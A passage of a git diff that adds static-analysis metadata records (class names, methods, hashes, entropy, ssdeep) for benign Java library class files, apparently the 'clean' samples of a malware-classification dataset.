"getName", "genCode"], "minor_version": 0, "const_pool_count": 95}}, "_id": "06357a62-5f84-4f92-b0dc-784217e604ff", "verbose": {"java": {"signatures": ["Ljava/util/ArrayList;", "Ljava/util/ArrayList;", "(Ljava/lang/String;Ljava/util/ArrayList;Ljava/util/ArrayList;)V", "(Ljava/lang/String;Ljava/lang/String;Ljava/util/ArrayList;)I"], "constant strings": ["Cannnot recognize language:"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "27a417f20c83f6c97ba95805c168f24516bce5b4", "file_name": "java_clean/be25de1756de057456faa8a8e69efade9a6511cfdf397c6e4adc4165ed819845", "_id": "06357a62-5f84-4f92-b0dc-784217e604ff", "score": 0, "entropy": 5.36716661761767, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 2299, "ssdeep": "48:BMiTngR1n76YRcMFlWRIR12RHcqCHRYK3pRG/IRwR683i3JSUGBUq4cb:BMUgRlvRdFlWRIRER8DR7pR/RwRP4oBp", "sha256": "be25de1756de057456faa8a8e69efade9a6511cfdf397c6e4adc4165ed819845", "md5": "cc2a6863ce29022888e49b3832a19706", "parent_sha256": "be25de1756de057456faa8a8e69efade9a6511cfdf397c6e4adc4165ed819845"}} \ No newline at end of file diff --git a/java_classification/data/clean/c085da563ffad44647571a12bfa843821687f8d7c36fa8d785bf05b3f750f5c1.results b/java_classification/data/clean/c085da563ffad44647571a12bfa843821687f8d7c36fa8d785bf05b3f750f5c1.results new file mode 100755 index 0000000..8dca4d2 --- /dev/null +++ b/java_classification/data/clean/c085da563ffad44647571a12bfa843821687f8d7c36fa8d785bf05b3f750f5c1.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "ObjectRenderer.java", "class_name": "org/apache/log4j/or/ObjectRenderer", "access_permissions": ["ACC_PUBLIC", "ACC_INTERFACE", "ACC_ABSTRACT"], "major_version": 46, "method_names": ["doRender"], "minor_version": 0, "const_pool_count": 9}}, "_id": "f0748b14-cd82-40b4-93c6-1c1c1fa25856", "metadata": {"mimetype": "application/x-java-applet", "sha1": "1bae7779a688060dda1725119a6e91a57fca4c8e", "file_name": "java_clean/c085da563ffad44647571a12bfa843821687f8d7c36fa8d785bf05b3f750f5c1", "_id": "f0748b14-cd82-40b4-93c6-1c1c1fa25856", "score": 0, "entropy": 4.805988806235879, "libmagic": "compiled Java class data, version 46.0 (Java 1.2)", "file_size": 189, "ssdeep": "3:DbllwGB3kMw1VjCK8PtpCkCK2XM27lsXRs2qvtoG6SKV2KCkKJicFSQCK8Pmklle:IGBfwqPt2XMOV2qAHCDJnQRPiwl0", "sha256": "c085da563ffad44647571a12bfa843821687f8d7c36fa8d785bf05b3f750f5c1", "md5": "f9bd52d28ea5d6712fa193c4882900bd", "parent_sha256": "c085da563ffad44647571a12bfa843821687f8d7c36fa8d785bf05b3f750f5c1"}} \ No newline at end of file diff --git a/java_classification/data/clean/c24f72991f405ad77f2098e40cca53a9c995642031bb712a09768a99cec43bc1.results b/java_classification/data/clean/c24f72991f405ad77f2098e40cca53a9c995642031bb712a09768a99cec43bc1.results new file mode 100755 index 0000000..6abb41a --- /dev/null +++ b/java_classification/data/clean/c24f72991f405ad77f2098e40cca53a9c995642031bb712a09768a99cec43bc1.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 49, "class_name": "org/odlabs/wiquery/core/commons/WiQueryRenderingListener", "access_permissions": ["ACC_SUPER"], "interfaces": ["org/apache/wicket/application/IComponentOnBeforeRenderListener"], "sourcefile": "WiQueryRenderingListener.java", "method_names": ["", "onBeforeRender", ""], "minor_version": 0, "const_pool_count": 88}}, "_id": "c5e0527c-b7f3-4c5d-9b29-b97ffaa77fd0", "verbose": {"java": {"signatures": ["Lorg/apache/wicket/MetaDataKey;"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "44133f5f6364cc84834cb6c087fa8edca7461f6e", "file_name": "java_clean/c24f72991f405ad77f2098e40cca53a9c995642031bb712a09768a99cec43bc1", "_id": "c5e0527c-b7f3-4c5d-9b29-b97ffaa77fd0", "score": 0, "entropy": 5.532395284335946, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 1963, "ssdeep": "48:AAwwyFlhucE0yFK+OTuMucbyucRca1Uty7B+RB+Vc7fpl:AzFlhucErFBwuMucWuc2aW", "sha256": "c24f72991f405ad77f2098e40cca53a9c995642031bb712a09768a99cec43bc1", "md5": "b6de3449bbdaa0887eed53703cabb3f0", "parent_sha256": "c24f72991f405ad77f2098e40cca53a9c995642031bb712a09768a99cec43bc1"}} \ No newline at end of file diff --git a/java_classification/data/clean/c2b685d274fc9bd6d47e446ee0f770f1f6b19f4aa3bed239782fcd2ca0ac3af3.results b/java_classification/data/clean/c2b685d274fc9bd6d47e446ee0f770f1f6b19f4aa3bed239782fcd2ca0ac3af3.results new file mode 100755 index 0000000..47e967a --- /dev/null +++ b/java_classification/data/clean/c2b685d274fc9bd6d47e446ee0f770f1f6b19f4aa3bed239782fcd2ca0ac3af3.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 45, "class_name": "Sirius/tree/Treeimage", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "interfaces": ["java/io/Serializable"], "sourcefile": "Treeimage.java", "method_names": ["", "getImagename", "getImage"], "minor_version": 3, "const_pool_count": 28}}, "_id": "de901922-9a13-49ee-a8db-54e6b3583c3a", "metadata": {"mimetype": "application/x-java-applet", "sha1": "f74068157bc26183ab2fe3f599ec10041290dc8d", "file_name": "java_clean/c2b685d274fc9bd6d47e446ee0f770f1f6b19f4aa3bed239782fcd2ca0ac3af3", "_id": "de901922-9a13-49ee-a8db-54e6b3583c3a", "score": 0, "entropy": 4.873830296995718, "libmagic": "compiled Java class data, version 45.3", "file_size": 546, "ssdeep": "12:cHOS/MOOSC4iMTXJulKFMOOB51RRa/8Z4XtAvlooQvloWbx:cHdySC4LZulKEB5no/w444bx", "sha256": "c2b685d274fc9bd6d47e446ee0f770f1f6b19f4aa3bed239782fcd2ca0ac3af3", "md5": "93f548924ea23305e99f629d2b55d420", "parent_sha256": "c2b685d274fc9bd6d47e446ee0f770f1f6b19f4aa3bed239782fcd2ca0ac3af3"}} \ No newline at end of file diff --git a/java_classification/data/clean/c30699b7b05cf7aa19d49576b600cba4b6d8fd2a84d18f8c4b47303be09aa5d7.results b/java_classification/data/clean/c30699b7b05cf7aa19d49576b600cba4b6d8fd2a84d18f8c4b47303be09aa5d7.results new file mode 100755 index 0000000..d2a3563 --- /dev/null +++ b/java_classification/data/clean/c30699b7b05cf7aa19d49576b600cba4b6d8fd2a84d18f8c4b47303be09aa5d7.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 49, "class_name": "org/odlabs/wiquery/core/events/MouseEvent", "access_permissions": ["ACC_PUBLIC", "ACC_FINAL", "ACC_SUPER", "ACC_ENUM"], "interfaces": ["org/odlabs/wiquery/core/events/EventLabel"], "sourcefile": "MouseEvent.java", "method_names": ["values", "valueOf", "", "getEventLabel", ""], "minor_version": 0, "const_pool_count": 92}}, "_id": "512e28fb-3a67-492a-91d0-250a3b584fe3", "verbose": {"java": {"signatures": ["()V", "Ljava/lang/Enum;Lorg/odlabs/wiquery/core/events/EventLabel;"], "constant strings": ["CLICK", "DBLCLICK", "MOUSEDOWN", "MOUSEENTER", "MOUSELEAVE", "MOUSEMOVE", "MOUSEOUT", "MOUSEOVER", "MOUSEUP", "SCROLL"], "JAVA String Analysis": {"obfuscated_data": {"base64": {"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/": "MOUSEOUT"}}}}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "5725f9de262edde21ee8d62e036759d546b43a18", "file_name": "java_clean/c30699b7b05cf7aa19d49576b600cba4b6d8fd2a84d18f8c4b47303be09aa5d7", "_id": "512e28fb-3a67-492a-91d0-250a3b584fe3", "score": 0, "entropy": 5.479267581372038, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 1741, "ssdeep": "24:uJO3XMMjj5HkiVrVbjj3jjbul4jjvpCBfhjjOSKrLuVjj46YrNN7JSQTPQDDkC05:uJO3FpVoli0BfxAn6uNNJLiYCw7bf7z", "sha256": "c30699b7b05cf7aa19d49576b600cba4b6d8fd2a84d18f8c4b47303be09aa5d7", "md5": "158fd99e3c81a4eb820ce76130ff4618", "parent_sha256": "c30699b7b05cf7aa19d49576b600cba4b6d8fd2a84d18f8c4b47303be09aa5d7"}} \ No newline at end of file diff --git a/java_classification/data/clean/c33fc513e1052a8b638ce08f4e64442780b743307e815a8446f0e2e90e8043be.results b/java_classification/data/clean/c33fc513e1052a8b638ce08f4e64442780b743307e815a8446f0e2e90e8043be.results new file mode 100755 index 0000000..d990a43 --- /dev/null +++ b/java_classification/data/clean/c33fc513e1052a8b638ce08f4e64442780b743307e815a8446f0e2e90e8043be.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "BeanMap.java", "class_name": "org/apache/commons/collections/BeanMap$9", "access_permissions": ["ACC_SUPER"], "major_version": 45, "method_names": ["", "iterator", "size"], "minor_version": 3, "const_pool_count": 41}}, "_id": "8622e369-e39a-49c2-a976-7596ff9ba1bc", "metadata": {"mimetype": "application/x-java-applet", "sha1": "e03b6a0a82cfc708d8de797c3e8b122c80eb1219", "file_name": "java_clean/c33fc513e1052a8b638ce08f4e64442780b743307e815a8446f0e2e90e8043be", "_id": "8622e369-e39a-49c2-a976-7596ff9ba1bc", "score": 0, "entropy": 5.057150117056589, "libmagic": "compiled Java class data, version 45.3", "file_size": 870, "ssdeep": "12:cZa++QulPsoxhk08/plhp+IJ01qdCIUMjSwp+ys+0KuGvlSb92Px:cA+zuljo08hXg601yUMs+Ib92Px", "sha256": "c33fc513e1052a8b638ce08f4e64442780b743307e815a8446f0e2e90e8043be", "md5": "dbc3f8dc09efe3283250fc9e2e09bf3d", "parent_sha256": "c33fc513e1052a8b638ce08f4e64442780b743307e815a8446f0e2e90e8043be"}} \ No newline at end of file diff --git a/java_classification/data/clean/c3dd95e84b0b3de648142f1047451ec07541b70d5ae23bec69edc6dc1f961dc6.results b/java_classification/data/clean/c3dd95e84b0b3de648142f1047451ec07541b70d5ae23bec69edc6dc1f961dc6.results new file mode 100755 index 0000000..d70afdf --- /dev/null +++ b/java_classification/data/clean/c3dd95e84b0b3de648142f1047451ec07541b70d5ae23bec69edc6dc1f961dc6.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 49, "class_name": "com/google/common/io/CharStreams$2", "access_permissions": ["ACC_FINAL", "ACC_SUPER"], "interfaces": ["com/google/common/io/InputSupplier"], "sourcefile": "CharStreams.java", "method_names": ["", "getInput", "getInput"], "minor_version": 0, "const_pool_count": 54}}, "_id": "6825a45e-36bb-4459-b54a-f16e66bad806", "verbose": {"java": {"signatures": ["Ljava/lang/Object;Lcom/google/common/io/InputSupplier;"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "7d4b2f2c2f2f4d479c0ccf714bfbe09a0b939563", "file_name": "java_clean/c3dd95e84b0b3de648142f1047451ec07541b70d5ae23bec69edc6dc1f961dc6", "_id": "6825a45e-36bb-4459-b54a-f16e66bad806", "score": 0, "entropy": 5.217222531252553, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 1289, "ssdeep": "24:r1y2pM5zYDz5uljUndNo1MlQL1/zEgzMEm9nsP:Jr7Il4d7lQL16Em9sP", "sha256": "c3dd95e84b0b3de648142f1047451ec07541b70d5ae23bec69edc6dc1f961dc6", "md5": "5252ff17dda0494f4dfae56620fe7c4c", "parent_sha256": "c3dd95e84b0b3de648142f1047451ec07541b70d5ae23bec69edc6dc1f961dc6"}} \ No newline at end of file diff --git a/java_classification/data/clean/c3f3b78742c5d5678fea5b9adaea3008779cfa5bc9b9b123a518373a0b548762.results b/java_classification/data/clean/c3f3b78742c5d5678fea5b9adaea3008779cfa5bc9b9b123a518373a0b548762.results new file mode 100755 index 0000000..b4cae9f --- /dev/null +++ b/java_classification/data/clean/c3f3b78742c5d5678fea5b9adaea3008779cfa5bc9b9b123a518373a0b548762.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "DefaultProcessingInstruction.java", "class_name": "org/dom4j/tree/DefaultProcessingInstruction", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 47, "method_names": ["", "", "", "setTarget", "setText", "setValues", "setValue", "getParent", "setParent", "supportsParent", "isReadOnly"], "minor_version": 0, "const_pool_count": 64}}, "_id": "2da78d15-17a0-4a0d-8b97-a8864157ae9d", "metadata": {"mimetype": "application/x-java-applet", "sha1": "227168f76be0e9645a6f27050f1e90e3663c26b1", "file_name": "java_clean/c3f3b78742c5d5678fea5b9adaea3008779cfa5bc9b9b123a518373a0b548762", "_id": "2da78d15-17a0-4a0d-8b97-a8864157ae9d", "score": 0, "entropy": 4.901045037384356, "libmagic": "compiled Java class data, version 47.0 (Java 1.3)", "file_size": 1905, "ssdeep": "48:RzrQX+xlI6rTOON1h/kehmDOuU1dPmPbD6Xt76jzReRNOEJbJ:JrNlrPxnhncmObD4t2XReqQ", "sha256": "c3f3b78742c5d5678fea5b9adaea3008779cfa5bc9b9b123a518373a0b548762", "md5": "0a365b57141ecbdd62c21b36f961b1cb", "parent_sha256": "c3f3b78742c5d5678fea5b9adaea3008779cfa5bc9b9b123a518373a0b548762"}} \ No newline at end of file diff --git a/java_classification/data/clean/c49266b8a2bfc99d614380d4836127949b625575a08883c8f43ee7b280de41e3.results b/java_classification/data/clean/c49266b8a2bfc99d614380d4836127949b625575a08883c8f43ee7b280de41e3.results new file mode 100755 index 0000000..3dff52b --- /dev/null +++ b/java_classification/data/clean/c49266b8a2bfc99d614380d4836127949b625575a08883c8f43ee7b280de41e3.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 49, "class_name": "com/google/common/base/Suppliers$SupplierComposition", "access_permissions": ["ACC_SUPER"], "interfaces": ["com/google/common/base/Supplier", "java/io/Serializable"], "sourcefile": "Suppliers.java", "method_names": ["", "get"], "minor_version": 0, "const_pool_count": 56}}, "_id": "c8ccdf50-6da4-4b78-9cbe-89ee71f1f869", "verbose": {"java": {"signatures": ["Lcom/google/common/base/Function<-TF;TT;>;", "Lcom/google/common/base/Supplier;", "(Lcom/google/common/base/Function<-TF;TT;>;Lcom/google/common/base/Supplier;)V", "()TT;", "Ljava/lang/Object;Lcom/google/common/base/Supplier;Ljava/io/Serializable;"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "7e726d2709af48c7eff342b3a93e0cbf8c8e75da", "file_name": "java_clean/c49266b8a2bfc99d614380d4836127949b625575a08883c8f43ee7b280de41e3", "_id": "c8ccdf50-6da4-4b78-9cbe-89ee71f1f869", "score": 0, "entropy": 5.1891847315334685, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 1515, "ssdeep": "24:RPdo4WOMuljWndYtg4JPLnW/bPY/ej6xYWT6JuEjgEFX:fdW8leiiCkPlfCZhm", "sha256": "c49266b8a2bfc99d614380d4836127949b625575a08883c8f43ee7b280de41e3", "md5": "8409eb31c7c50238c9782ac2dcb4a27a", "parent_sha256": "c49266b8a2bfc99d614380d4836127949b625575a08883c8f43ee7b280de41e3"}} \ No newline at end of file diff --git a/java_classification/data/clean/c4e539d42d9668c168ee996b9f8fb1d110e4167e5762eb4b8bd6c4ce90fa0c0f.results b/java_classification/data/clean/c4e539d42d9668c168ee996b9f8fb1d110e4167e5762eb4b8bd6c4ce90fa0c0f.results new file mode 100755 index 0000000..1842da6 --- /dev/null +++ b/java_classification/data/clean/c4e539d42d9668c168ee996b9f8fb1d110e4167e5762eb4b8bd6c4ce90fa0c0f.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "SignatureAttribute.java", "class_name": "javassist/bytecode/SignatureAttribute$Type", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER", "ACC_ABSTRACT"], "major_version": 48, "method_names": ["", "toString"], "minor_version": 0, "const_pool_count": 39}}, "_id": "b424d6ab-35d2-40ed-a5b9-fb117cf0e78e", "verbose": {"java": {"constant strings": [", "]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "3baf0f07417e99405f591d917894d6f7310f2e6e", "file_name": "java_clean/c4e539d42d9668c168ee996b9f8fb1d110e4167e5762eb4b8bd6c4ce90fa0c0f", "_id": "b424d6ab-35d2-40ed-a5b9-fb117cf0e78e", "score": 0, "entropy": 5.3115593736342985, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 878, "ssdeep": "24:0yQuljWeUr8WU7/eU4zUO5WqrRU/kCERrc2kp:0yFlCuhE5drekr9cNp", "sha256": "c4e539d42d9668c168ee996b9f8fb1d110e4167e5762eb4b8bd6c4ce90fa0c0f", "md5": "8083d4a366432e65d46f82baca063d8d", "parent_sha256": "c4e539d42d9668c168ee996b9f8fb1d110e4167e5762eb4b8bd6c4ce90fa0c0f"}} \ No newline at end of file diff --git a/java_classification/data/clean/c5670b4502151c57176934fe17c0652e77ee257308bca9fe293c56095ea1f987.results b/java_classification/data/clean/c5670b4502151c57176934fe17c0652e77ee257308bca9fe293c56095ea1f987.results new file mode 100755 index 0000000..3e2b861 --- /dev/null +++ b/java_classification/data/clean/c5670b4502151c57176934fe17c0652e77ee257308bca9fe293c56095ea1f987.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 49, "class_name": "com/google/common/collect/Synchronized$SynchronizedSet", "access_permissions": ["ACC_SUPER"], "interfaces": ["java/util/Set"], "sourcefile": "Synchronized.java", "method_names": ["", "delegate", "equals", "hashCode", "delegate", "delegate"], "minor_version": 0, "const_pool_count": 65}}, "_id": "f0e413ad-cf54-4436-b86b-22216bea1921", "verbose": {"java": {"signatures": ["(Ljava/util/Set;Ljava/lang/Object;)V", "()Ljava/util/Set;", "Lcom/google/common/collect/Synchronized$SynchronizedCollection;Ljava/util/Set;"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "535987476f9fcc4cf1915bfe1d78fc29a1d4051e", "file_name": "java_clean/c5670b4502151c57176934fe17c0652e77ee257308bca9fe293c56095ea1f987", "_id": "f0e413ad-cf54-4436-b86b-22216bea1921", "score": 0, "entropy": 5.196044840161976, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 2006, "ssdeep": "48:Vc2+NlzVL6IJiZB5JF5CrIUoCIPW1rJFlgfDr+vlmWLWH:yBlYDB5JHCJFGfDr+vlm", "sha256": "c5670b4502151c57176934fe17c0652e77ee257308bca9fe293c56095ea1f987", "md5": "03ede9eef577caf8323378f435e308e5", "parent_sha256": "c5670b4502151c57176934fe17c0652e77ee257308bca9fe293c56095ea1f987"}} \ No newline at end of file diff --git a/java_classification/data/clean/c5f85260bcc87db727ae94bec015e97410dbbfbf8b25a87ec9d7934dd541fd0f.results b/java_classification/data/clean/c5f85260bcc87db727ae94bec015e97410dbbfbf8b25a87ec9d7934dd541fd0f.results new file mode 100755 index 0000000..012851f --- /dev/null +++ b/java_classification/data/clean/c5f85260bcc87db727ae94bec015e97410dbbfbf8b25a87ec9d7934dd541fd0f.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 50, "class_name": "hu/openig/mechanics/Planner$10", "access_permissions": ["ACC_SUPER"], "interfaces": ["hu/openig/core/Action0"], "sourcefile": "Planner.java", "method_names": ["", "invoke"], "minor_version": 0, "const_pool_count": 45}}, "_id": "39d463b0-2d39-4b74-a4ba-cf1182e8d61d", "metadata": {"mimetype": "application/x-java-applet", "sha1": "c17e0d6cd2d79c76fac7458e08a390f40d13574d", "file_name": "java_clean/c5f85260bcc87db727ae94bec015e97410dbbfbf8b25a87ec9d7934dd541fd0f", "_id": "39d463b0-2d39-4b74-a4ba-cf1182e8d61d", "score": 0, "entropy": 5.23838854529344, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 918, "ssdeep": "12:9HPCDiRgwzcjwFHtD5pO2ClPsogOCgtHO/PiQtqyiUw3bXfIuLkDkM/9/iGYlDTl:TOwjP6ljRsevraiGY3", "sha256": "c5f85260bcc87db727ae94bec015e97410dbbfbf8b25a87ec9d7934dd541fd0f", "md5": "60a8e8ed8025d069e44a9510de446feb", "parent_sha256": "c5f85260bcc87db727ae94bec015e97410dbbfbf8b25a87ec9d7934dd541fd0f"}} \ No newline at end of file diff --git a/java_classification/data/clean/c70af6e976aadc8b875fb5e1090d5946ea53462c2644ba916c80b4180fea6525.results b/java_classification/data/clean/c70af6e976aadc8b875fb5e1090d5946ea53462c2644ba916c80b4180fea6525.results new file mode 100755 index 0000000..2d560b2 --- /dev/null +++ b/java_classification/data/clean/c70af6e976aadc8b875fb5e1090d5946ea53462c2644ba916c80b4180fea6525.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 49, "class_name": "com/google/common/collect/ImmutableMultiset", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "interfaces": ["com/google/common/collect/Multiset"], "sourcefile": "ImmutableMultiset.java", "method_names": ["of", "of", "of", "of", "of", "of", "of", "of", "copyOf", "copyOf", "copyOfInternal", "copyOfInternal", "copyOf", "", "isPartialView", "count", "iterator", "size", "contains", "add", "remove", "setCount", "setCount", "equals", "hashCode", "toString", "elementSet", "entrySet", "writeObject", "readObject", "writeReplace", "builder", "iterator", "access$000"], "minor_version": 0, "const_pool_count": 396}}, "_id": "4b10a889-9cd2-48cd-a3c1-83ba20a681ed", "verbose": {"java": {"signatures": ["Lcom/google/common/collect/ImmutableMap;", "Lcom/google/common/collect/ImmutableSet;>;", "()Lcom/google/common/collect/ImmutableMultiset;", "(TE;)Lcom/google/common/collect/ImmutableMultiset;", "(TE;TE;)Lcom/google/common/collect/ImmutableMultiset;", "(TE;TE;TE;)Lcom/google/common/collect/ImmutableMultiset;", "(TE;TE;TE;TE;)Lcom/google/common/collect/ImmutableMultiset;", "(TE;TE;TE;TE;TE;)Lcom/google/common/collect/ImmutableMultiset;", "(TE;TE;TE;TE;TE;TE;[TE;)Lcom/google/common/collect/ImmutableMultiset;", "([TE;)Lcom/google/common/collect/ImmutableMultiset;", "([TE;)Lcom/google/common/collect/ImmutableMultiset;", "(Ljava/lang/Iterable<+TE;>;)Lcom/google/common/collect/ImmutableMultiset;", "([TE;)Lcom/google/common/collect/ImmutableMultiset;", "(Lcom/google/common/collect/Multiset<+TE;>;)Lcom/google/common/collect/ImmutableMultiset;", "(Ljava/util/Iterator<+TE;>;)Lcom/google/common/collect/ImmutableMultiset;", "(Lcom/google/common/collect/ImmutableMap;I)V", "()Lcom/google/common/collect/UnmodifiableIterator;", "(TE;I)I", "(TE;I)I", "(TE;II)Z", "()Ljava/util/Set;", "()Ljava/util/Set;>;", "()Lcom/google/common/collect/ImmutableMultiset$Builder;", "Lcom/google/common/collect/ImmutableCollection;Lcom/google/common/collect/Multiset;"], "constant strings": ["Invalid count "]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "f53fd1f2f5dc85a26a8b5d9cca270080ec6da82b", "file_name": "java_clean/c70af6e976aadc8b875fb5e1090d5946ea53462c2644ba916c80b4180fea6525", "_id": "4b10a889-9cd2-48cd-a3c1-83ba20a681ed", "score": 0, "entropy": 5.386395734368888, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 13363, "ssdeep": "192:wxr/lvAI4cEZs86FElGMFgAvggCbPXn83hDiOp:wxrHXEZs3FuB224DM31iOp", "sha256": "c70af6e976aadc8b875fb5e1090d5946ea53462c2644ba916c80b4180fea6525", "md5": "3ab7607c5d7c0e2c6ed68a0594a91a65", "parent_sha256": "c70af6e976aadc8b875fb5e1090d5946ea53462c2644ba916c80b4180fea6525"}} \ No newline at end of file diff --git a/java_classification/data/clean/c7273383f1164b17335c7b601f6200c96674dd1d9b918ce499eb1afe57e75aac.results b/java_classification/data/clean/c7273383f1164b17335c7b601f6200c96674dd1d9b918ce499eb1afe57e75aac.results new file mode 100755 index 0000000..8ceb566 --- /dev/null +++ b/java_classification/data/clean/c7273383f1164b17335c7b601f6200c96674dd1d9b918ce499eb1afe57e75aac.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Cut.java", "class_name": "com/google/common/collect/Cut$BelowValue", "access_permissions": ["ACC_FINAL", "ACC_SUPER"], "major_version": 49, "method_names": ["", "isLessThan", "typeAsLowerBound", "typeAsUpperBound", "withLowerBoundType", "withUpperBoundType", "describeAsLowerBound", "describeAsUpperBound", "leastValueAbove", "greatestValueBelow", "hashCode", "compareTo"], "minor_version": 0, "const_pool_count": 134}}, "_id": "e60e4008-72a4-4dd7-9a04-170feacace55", "verbose": {"java": {"signatures": ["(TC;)V", "(TC;)Z", "(Lcom/google/common/collect/BoundType;Lcom/google/common/collect/DiscreteDomain;)Lcom/google/common/collect/Cut;", "(Lcom/google/common/collect/BoundType;Lcom/google/common/collect/DiscreteDomain;)Lcom/google/common/collect/Cut;", "(Lcom/google/common/collect/DiscreteDomain;)TC;", "(Lcom/google/common/collect/DiscreteDomain;)TC;", "Lcom/google/common/collect/Cut;"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "f157a01527d5912cf66ff64e28235915d7d5a030", "file_name": "java_clean/c7273383f1164b17335c7b601f6200c96674dd1d9b918ce499eb1afe57e75aac", "_id": "e60e4008-72a4-4dd7-9a04-170feacace55", "score": 0, "entropy": 5.163582378340124, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 3961, "ssdeep": "48:xmDlg5m/EdykzTGSp0u9unP7WMWfz/jvC0MCwBgWoQXOMZew:4lg5d3fv9uP7WMyvCfCZyXOMj", "sha256": "c7273383f1164b17335c7b601f6200c96674dd1d9b918ce499eb1afe57e75aac", "md5": "a90f7e3cde8de93a1404fb0e0a9174a4", "parent_sha256": "c7273383f1164b17335c7b601f6200c96674dd1d9b918ce499eb1afe57e75aac"}} \ No newline at end of file diff --git a/java_classification/data/clean/c730031e2be64b96ccc7af8f78e7a95186165f55deac6a1b52fe5663de9ccbbe.results b/java_classification/data/clean/c730031e2be64b96ccc7af8f78e7a95186165f55deac6a1b52fe5663de9ccbbe.results new file mode 100755 index 0000000..fb5e5f7 --- /dev/null +++ b/java_classification/data/clean/c730031e2be64b96ccc7af8f78e7a95186165f55deac6a1b52fe5663de9ccbbe.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "ToStringStyle.java", "class_name": "org/apache/commons/lang/builder/ToStringStyle$MultiLineToStringStyle", "access_permissions": ["ACC_FINAL", "ACC_SUPER"], "major_version": 46, "method_names": ["", "readResolve"], "minor_version": 0, "const_pool_count": 66}}, "_id": "e1d364a2-cbe6-4108-9293-83a9cf169407", "verbose": {"java": {"constant strings": ["[", " ", "]"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "f547766ef139939c518aa87a105222f87034a6f8", "file_name": "java_clean/c730031e2be64b96ccc7af8f78e7a95186165f55deac6a1b52fe5663de9ccbbe", "_id": "e1d364a2-cbe6-4108-9293-83a9cf169407", "score": 0, "entropy": 5.4590128548135946, "libmagic": "compiled Java class data, version 46.0 (Java 1.2)", "file_size": 1186, "ssdeep": "24:4R+Ng5yQuljq3Ir5OKqW0KM76r516r5lgFqZClweivrEl0SGtFik:4EN+yFlW4RHM766fgo0QlFik", "sha256": "c730031e2be64b96ccc7af8f78e7a95186165f55deac6a1b52fe5663de9ccbbe", "md5": "c7a06c3001910a57669a6638fe872735", "parent_sha256": "c730031e2be64b96ccc7af8f78e7a95186165f55deac6a1b52fe5663de9ccbbe"}} \ No newline at end of file diff --git a/java_classification/data/clean/c8022020d75a2562203da01d487378c297fc9efa22018d363aa78c8dc3e3f954.results b/java_classification/data/clean/c8022020d75a2562203da01d487378c297fc9efa22018d363aa78c8dc3e3f954.results new file mode 100755 index 0000000..b5e4c61 --- /dev/null +++ b/java_classification/data/clean/c8022020d75a2562203da01d487378c297fc9efa22018d363aa78c8dc3e3f954.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "DFSClient.java", "class_name": "org/apache/hadoop/dfs/DFSClient$DFSOutputStream$Packet", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["", "writeData", "writeChecksum", "getBuffer"], "minor_version": 0, "const_pool_count": 127}}, "_id": "bd759b15-081d-4cfa-a64a-6dc133d53653", "metadata": {"mimetype": "application/x-java-applet", "sha1": "de5000b6367ffa0fe1d3de7d00e2b0b0fd6c7ada", "file_name": "java_clean/c8022020d75a2562203da01d487378c297fc9efa22018d363aa78c8dc3e3f954", "_id": "bd759b15-081d-4cfa-a64a-6dc133d53653", "score": 0, "entropy": 5.641360130775562, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 2616, "ssdeep": "48:8GEL0X3o1nDN+Zw+zlGQq+f6mHcJVg6+oQp+K+h+GOJoNKn/1ZkpcLMCkCRKgnkF:8GEgX41hVolGXUHczA/q5Obn/1ZKCBY", "sha256": "c8022020d75a2562203da01d487378c297fc9efa22018d363aa78c8dc3e3f954", "md5": "9a7e60a491bfd8b05fdcdf5fd0b82d87", "parent_sha256": "c8022020d75a2562203da01d487378c297fc9efa22018d363aa78c8dc3e3f954"}} \ No newline at end of file diff --git a/java_classification/data/clean/c8dedb9bf05d5aaec6d3d004eb93e8815e891776b2ff67b301a3532529d47d6a.results b/java_classification/data/clean/c8dedb9bf05d5aaec6d3d004eb93e8815e891776b2ff67b301a3532529d47d6a.results new file mode 100755 index 0000000..2a4f82e --- /dev/null +++ b/java_classification/data/clean/c8dedb9bf05d5aaec6d3d004eb93e8815e891776b2ff67b301a3532529d47d6a.results @@ -0,0 +1 @@ +{"characteristics": 